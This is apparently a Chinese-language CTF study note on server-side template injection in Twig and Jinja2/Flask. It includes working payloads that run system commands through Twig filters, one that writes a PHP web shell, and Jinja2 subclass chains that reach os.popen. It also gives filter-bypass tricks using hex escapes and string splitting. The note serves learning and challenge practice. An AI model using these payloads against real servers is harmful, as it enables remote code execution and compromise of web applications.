SSTI模板注入


模板引擎注入

参考https://www.cnblogs.com/wangtanzhi/p/12238779.html

https://blog.csdn.net/m0_55109452/article/details/117474173

模板注入可以分成这么几种,有smarty,mako,Jinja2, Twig等,这些对应的是不同的模板引擎

模板引擎:作用就是可以控制前端输出的内容

smarty可以直接在花括号内写入想要执行的函数

而Twig需要一些

利用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap,都是基于python的。

参考这里进行安装和使用https://blog.csdn.net/weixin_47726676/article/details/115905366

根据题目名“IP”,结合访问反馈ip,不难想到X-Forwarded-for ,该请求头代表了请求头的IP

直接使用火狐浏览器打开网站,使用插件Hackbar,添加X-Forwarded-For头后发现是可控的

经过测试,{{7*‘7’}}是可以执行的,那么是flask/jinja2模板注入或者PHP/模版引擎Twig注入,参考这个来构造payload:

直接查看config就看到了flag

X-Forwarded-For: {{system(‘cd …;ls’}}

也可以使用burp suite来抓包修改

Twig有过滤器,64种

twig payloads

https://xz.aliyun.com/t/7518#toc-5

直接上结论,下面的payload在Twig 3.x 版本测试通过,看了1.x和2.x版本的代码,应该也是可以利用的。id是要执行的命令

  • {{["id"]|map("system")|join(",")
  • {{["id", 0]|sort("system")|join(",")}}
  • {{["id"]|filter("system")|join(",")}}
  • {{[0, 0]|reduce("system", "id")|join(",")}}
  • {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

例:使用map过滤器

twig——{{_self}},这个变量名可以显示自己的

smarty——也有这样的自带的变量名,可以来判断是否是这种模板

使用map的过滤器,发现回显的是bad hacker

把map删掉后出现了报错,说明是map被过滤掉了,可以尝试使用别的过滤器


要找到模板注入点,而且会有过滤,还有可能是sandbox,就不能执行php代码了

python flask模板注入

jinjia2

select_get可以获得一些敏感信息

可以参考学习的网站:https://blog.csdn.net/qq_40827990/article/details/82940894

https://blog.csdn.net/qq_38154820/article/details/111399386

https://my.oschina.net/u/4541916/blog/4356926

python2和python3的区别,python3中没有base之类的了

绕过技巧:

  • 过滤引号:使用列表、元组等不需要引号的类型。也可以使用request,例:request.a之类的

  • 过滤方括号:不能取下面一个类/属性的,可以使用pop等函数

  • 过滤下划线:16进制编码来绕过

  • 过滤点号要用

  • 过滤花括号:过滤两个,利用用{%}这样的方式。但是过滤单个的话,就不好做了

  • 使用jinjia2的过滤器:attr

这里的方法是先用__class__先找到’'的类
用__bases__找到他的基类
subclass()找到子类

不断查找子类,找到可以使用的、已经加载进来的方法来实现执行系统命令

常用的是用build调用eval函数,或者使用popen函数

在子类中并不是所有的都能用上,需要找的
一是file模块中的read功能,用来读取各种文件,敏感信息等。但是在
二是warnings.catch_warnings(需自己导入os模块)、socket._socketobject(需自己导入os模块)、site._Printer、site.Quitter等模块的内置os,通过os模块我们可以做到system执行命令(system执行成功返回0,不会在页面显示。)、popen管道读取文件、listdir列目录等操作。
三是get_flashed_messages() 获取闪现信息

用post的方式来做

找到warning函数

利用python的脚本,查找可以用的函数:

def find():list = ""list = list.replace('\'','')list = list.replace('<','')list = list.replace('>','')list = list.replace('class ','')list = list.replace('enum ','')list = list.replace('type ','')list = list.replace(' ','')list = list.split(',')print(list)className = 'warnings.catch_warnings' #需要查找的模块名称num = list.index(className)print(num) #返回索引
if __name__ == '__main__':find()

06 构造payload

以下为绕过思路:

  1. 原语句为:().__class__.__bases__[0].__subclasses__()
  2. 过滤了点号,使用[" "]代替:()["__class__"]["__bases__"][0]["__subclasses__"]()
  3. 过滤了下划线,使用十六进制\x5f代替:()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()
  4. 过滤了关键字,采用字符串拼接:()["\x5f\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fbas"+"es\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()
  5. 成功绕过过滤
nickname={{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("whoami")["read"]()}}

构造的payload的语句

变量块 {{}} 用于将表达式打印到模板输出
注释块 {##}    注释
控制块 {%%}    可以声明变量,也可以执行语句
行声明 ##      可以有和{%%}相同的效果

例题:buuctf [flask]SSTI

http://node4.buuoj.cn:27643/

说明存在SSTI注入点

可以一点一点查询,也可以插入一段python代码来执行:

#执行id
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}
#执行env,打印出环境
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("env").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

2021.11.08【web刷题记录】相关推荐

  1. CG-CTF web刷题记录

    这里刚入门ctf小白一枚 如果有什么地方说错了或者有待改进的地方欢迎指出喔(-w-) 1.签到题 KEY在哪里? 在网页源码里~fn+F12查看网页源码收获flag一枚 2.签到2 打开题目我们看到题 ...

  2. BUU WEB刷题记录1(持续更新)

    [MRCTF2020]你传你马呢 打开得到一张晦气的图片和文件上传点 尝试直接上传PHP文件失败(意料之中),随便上传了一张png图片,发现可以,将png文件内容改写成一句话木马<?php @e ...

  3. [SWPUCTF] 2021新生赛之Crypto篇刷题记录(11)

    [SWPUCTF] 2021新生赛之Crypto篇刷题记录① [SWPUCTF 2021 新生赛]crypto6 [SWPUCTF 2021 新生赛]ez_caesar [SWPUCTF 2021 新 ...

  4. 重走长征路---OI每周刷题记录---11月16日 2013

    总目录详见https://blog.csdn.net/mrcrack/article/details/84471041 做题原则,找不到测评地址的题不做.2018-11-28 重走长征路---OI每周 ...

  5. 重走长征路---OI每周刷题记录---1月11日 2014

    总目录详见https://blog.csdn.net/mrcrack/article/details/84471041 做题原则,找不到测评地址的题不做.2018-11-28 重走长征路---OI每周 ...

  6. 重走长征路---OI每周刷题记录---11月4日 2013

    总目录详见https://blog.csdn.net/mrcrack/article/details/84471041 做题原则,找不到测评地址的题不做.2018-11-28 重走长征路---OI每周 ...

  7. LeetCode刷题记录11——290. Word Pattern(easy)

    LeetCode刷题记录11--290. Word Pattern(easy) 目录 LeetCode刷题记录11--290. Word Pattern(easy) 题目 语言 思路 源码 后记 题目 ...

  8. CTFShow web入门题刷题记录

    CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...

  9. 【刷题记录11】Java工程师丨字节面试真题(五)

    活动地址:CSDN21天学习挑战赛 JAVA面试练习题刷题记录 目录 一.雀魂启动 二.特征提取 三.毕业旅行问题 总结 我几乎每天都会刷题训练来使自己对各种算法随时保持一个清晰的状态.要知道眼过千遍 ...

最新文章

  1. C++两个队列实现一个栈
  2. 经验总结02-sql语句
  3. vs2012打包和部署程序成可安装安装包文件(InstallShield
  4. mysql把游标数据存入表中_利用Python爬股票数据并存入数据库Mysql
  5. matlab 等高线_MATLAB作图实例:39:更改等高线图的填充颜色
  6. IOS资源丰富的听书软件<白鲨听书>
  7. javascript高级知识点——继承
  8. bfv同态加密_lattigo: 基于Lattice代数结构的Go同态加密库
  9. mesos INSTALL
  10. c语言写16进制转2进制,[求助]如何实现16进制转2进制
  11. 产品技术人必备干货:产品开发流程(完整版)
  12. idea在mac版怎么配置svn_IntelliJ Idea 集成svn 和使用
  13. html中标签img大小自适应
  14. 定位技术--蜂窝基站
  15. 习题 9.9 商店销售某一商品,商店每天公布统一的折扣(discount)。同时允许销售人员在销售时灵活掌握售价(price),在此基础上,对一次购10件以上者,还可以享受9.8折优惠。
  16. 关于Delphi中使用正则表达式获取汉字的问题
  17. Lined List
  18. 使用PyTorch+OpenCV进行人脸识别(附代码演练)
  19. 如何安装HAXM,如何解决HAXM installation failed问题
  20. 中西医结合,缓解肝癌晚期疼痛

热门文章

  1. 【游戏开发实战】用Go语言写一个服务器,实现与Unity客户端通信(Golang | Unity | Socket | 通信 | 教程 | 附工程源码)
  2. python爬虫实战之爬取51job前程无忧简历
  3. 1112_Vue+SpringBoot+Mybatis的简单员工管理项目
  4. 《把时间当作朋友》读书笔记
  5. 【张亚飞】 Adobe Flash Player和Flash Player 检测工具包
  6. PHP实现小程序微信支付V2获取prepay_id
  7. 两字母.com域名交易频繁,这是要大爆发的节奏
  8. ART-PI 嵌入式人形检测 附源码(RT-AK Demo)
  9. 速取,3D建模速成入门到高级教程(附软件安装包)
  10. 金山:与微软“作战”